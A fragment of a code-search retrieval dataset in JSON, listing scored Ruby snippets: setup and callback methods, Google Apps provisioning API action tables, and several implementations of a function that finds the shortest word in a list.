"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
c61d6f2e1ba26c3757be20b8ea549617
|
Return the first found shortest word
|
[
{
"docid": "98a76c1588e8394d2405f4686620b754",
"score": "0.7619012",
"text": "def get_the_shortest_word(str)\n str.split(\" \").sort! {|s, l| s.length <=> l.length}[0]\nend",
"title": ""
}
] |
[
{
"docid": "905248a7beb0c24c914b0c2f49fddf50",
"score": "0.811125",
"text": "def shortest_string(list_of_words)\n return nil if no_string?(list_of_words)\n return list_of_words[0] if one_string?(list_of_words)\n \telse\n \t\tfirst_word = list_of_words[0]\n \t\tx = 1\n \t\twhile x < list_of_words.length\n \t\t\tif first_word.length > list_of_words[x].length\n \t\t\t\tfirst_word = list_of_words[x]\n \t\t\tend\n \t\t\tx += 1\n \t\tend\n \t\treturn first_word\nend",
"title": ""
},
{
"docid": "2be9681dfddc7616545bd3780a620a92",
"score": "0.80489177",
"text": "def shortest_string(list_of_words)\n shortest = list_of_words[0]\n\n list_of_words.each do |word|\n if word.length < shortest.length\n shortest = word\n end\nend\n\nreturn shortest\nend",
"title": ""
},
{
"docid": "4fd0f30db2b379c3a71b6412e71d37a5",
"score": "0.8036777",
"text": "def shortest_first(array_of_words)\n # TODO\nend",
"title": ""
},
{
"docid": "fcaca4d8b81e54b7691c6e2fb0741ce6",
"score": "0.8023485",
"text": "def shortest(word1, word2)\n \n end",
"title": ""
},
{
"docid": "232e7cb9920838075ed1b3da7ac198fe",
"score": "0.7960018",
"text": "def shortest_word(words)\n words.inject { |memo, word| memo.length < word.length ? memo : word}\nend",
"title": ""
},
{
"docid": "83b1a6932338c9e821e0989f29f9c2bc",
"score": "0.795402",
"text": "def shortest_string(list_of_words)\n if list_of_words.length == 0\n nil\n else\n index = 0\n shortest_word = list_of_words[0]\n while index < list_of_words.length do\n if list_of_words[index].length <= shortest_word.length\n shortest_word = list_of_words[index]\n end\n index+=1\n end\n shortest_word\n end\n end",
"title": ""
},
{
"docid": "063b9fe3ea4481b7efb2d719d30361cd",
"score": "0.7941825",
"text": "def shortest_string(list_of_words)\n # Your code goes here!\n shortest = list_of_words[0]\n\n list_of_words.each { |word| \n if word.length < shortest.length\n shortest = word\n end\n }\n\n return shortest\nend",
"title": ""
},
{
"docid": "8e259d6e1c172342b8dc11c746110d9f",
"score": "0.7920707",
"text": "def shortest_string(list_of_words)\n shortest = list_of_words[0]\n for word in 1...list_of_words.length\n if shortest.length > list_of_words[word].length then\n shortest = list_of_words[word]\n end\n end\n return shortest\nend",
"title": ""
},
{
"docid": "ea4d1c750193ba4ddda4302ce4ce8147",
"score": "0.79108214",
"text": "def shortest_string(list_of_words)\n if list_of_words.empty?\n return nil\n else\n shortest = list_of_words[0]\n list_of_words.each.to_s do |x|\n if list_of_words.length < shortest\n shortest = x\n end\n end\n end\n return shortest\nend",
"title": ""
},
{
"docid": "9c7b06e3ab0de2ccd71c7ae1608157bc",
"score": "0.7896542",
"text": "def shortest_string(list_of_words)\n if list_of_words == []\n \treturn nil\n else\n \tcounter = 0\n \tshortest_word = ''\n \tshorest_word_length = list_of_words[0].length\n \twhile counter < list_of_words.length\n \t\tif shorest_word_length >= list_of_words[counter].length\n \t\t\tshortest_word = list_of_words[counter]\n \t\tend\n \tcounter += 1\n \tend\n end\n return shortest_word\nend",
"title": ""
},
{
"docid": "51a35930909ffebf049aea4dc4ea40a9",
"score": "0.7891641",
"text": "def shortest_string(list_of_words)\n\tif list_of_words.length == 0\n\t\treturn nil\n\tend\n\tlist_of_words.sort_by! {|i| i.length}\n\treturn list_of_words[0]\nend",
"title": ""
},
{
"docid": "8f28f003b3fd672fbfd2a18e5def96f3",
"score": "0.78749096",
"text": "def shortest_string(list_of_words)\n if list_of_words.empty? \n return nil\n end\n \n short=list_of_words[0]\n list_of_words.each { |str| \n if str.length < short.length\n short=str\n end \n }\n return short\nend",
"title": ""
},
{
"docid": "b3a1c2eb0525296742839656890f5669",
"score": "0.7856666",
"text": "def shortest_string(list_of_words)\n if list_of_words.empty?\n return nil\n else\n shortest_length = list_of_words.first.length\n shortest_word = ''\n list_of_words.each do |word|\n if word.length <= shortest_length\n shortest_length = word.length\n shortest_word = word\n else\n shortest_word = shortest_word\n end\n end\n return shortest_word\n end\nend",
"title": ""
},
{
"docid": "00fe5eec9193da98c6454bc1e78816f6",
"score": "0.7843798",
"text": "def shortest_string(list_of_words)\n\n for x in 0..list_of_words.length - 1\n if x == 0\n currentSmallest = list_of_words[x]\n else\n if list_of_words[x].length < currentSmallest.length\n currentSmallest = list_of_words[x]\n end\n end\n end\n\n return currentSmallest\nend",
"title": ""
},
{
"docid": "4175a756c47921e1c7e7dcce058e0b2b",
"score": "0.7836954",
"text": "def shortest_string(list_of_words)\n # Your code goes here!\n if list_of_words.empty?\n return nil\n end\n shortest_word = list_of_words[0]\n for word in list_of_words\n if word.length < shortest_word.length\n shortest_word = word\n end\n end\n return shortest_word\n\nend",
"title": ""
},
{
"docid": "63b968bbcfeabf8610fdc070337950fe",
"score": "0.782267",
"text": "def find_short(s)\n l = s.split(\" \").min_by { |x| x.length}.length\n return l #l: length of the shortest word\nend",
"title": ""
},
{
"docid": "d7c2ff31be90e52ce24e1adf6dee094a",
"score": "0.78002024",
"text": "def shortest_string(list_of_words)\n \n array = []\n\n list_of_words.each {|value|\n \tarray << value.length\n }\n\n if array.empty?\n \tnil\n else\n return list_of_words[array.index(array.min)]\n end\n\nend",
"title": ""
},
{
"docid": "ec7f2bfa9434c7b87e1a08f8613c5ce9",
"score": "0.7796698",
"text": "def shortest_string(list_of_words)\n list_of_words = list_of_words.sort_by {|x| x.length}\n short_string = list_of_words[0]\n return short_string\nend",
"title": ""
},
{
"docid": "422d6aca03e457921101dc2c59ec4fad",
"score": "0.77919763",
"text": "def shortest_string(list_of_words)\n if list_of_words.length == 0\n \treturn nil\n end\n shortest_str = list_of_words[0]\n list_of_words.each do |str| \n \tif str.size < shortest_str.size\n \t\tshortest_str = str\n \tend\n end\n shortest_str\nend",
"title": ""
},
{
"docid": "063ef30b5a8d2d504c8fed3c01e07bdd",
"score": "0.77500224",
"text": "def shortest_string(list_of_words)\n if list_of_words.empty? == true\n return nil\n end\n word = 1\n list_of_words.each do |x|\n if x.length <= word.to_s.length\n word = x\n end\n end\n p word\nend",
"title": ""
},
{
"docid": "193defbf913a1432cca8c0a5946111fc",
"score": "0.77485",
"text": "def shortest_string(list_of_words)\n\tif list_of_words.length == 0\n\t\treturn nil\n\tend\n\ti = list_of_words[0]\n\tj = 1\n\twhile j <= list_of_words.length - 1 do\n\t\tif i.length > list_of_words[j].length\n\t\t\ti = list_of_words[j]\n\t\tend\n\t\tj = j + 1\n\tend\n\treturn i\nend",
"title": ""
},
{
"docid": "001cb9bf5851b09abe98b77aac925928",
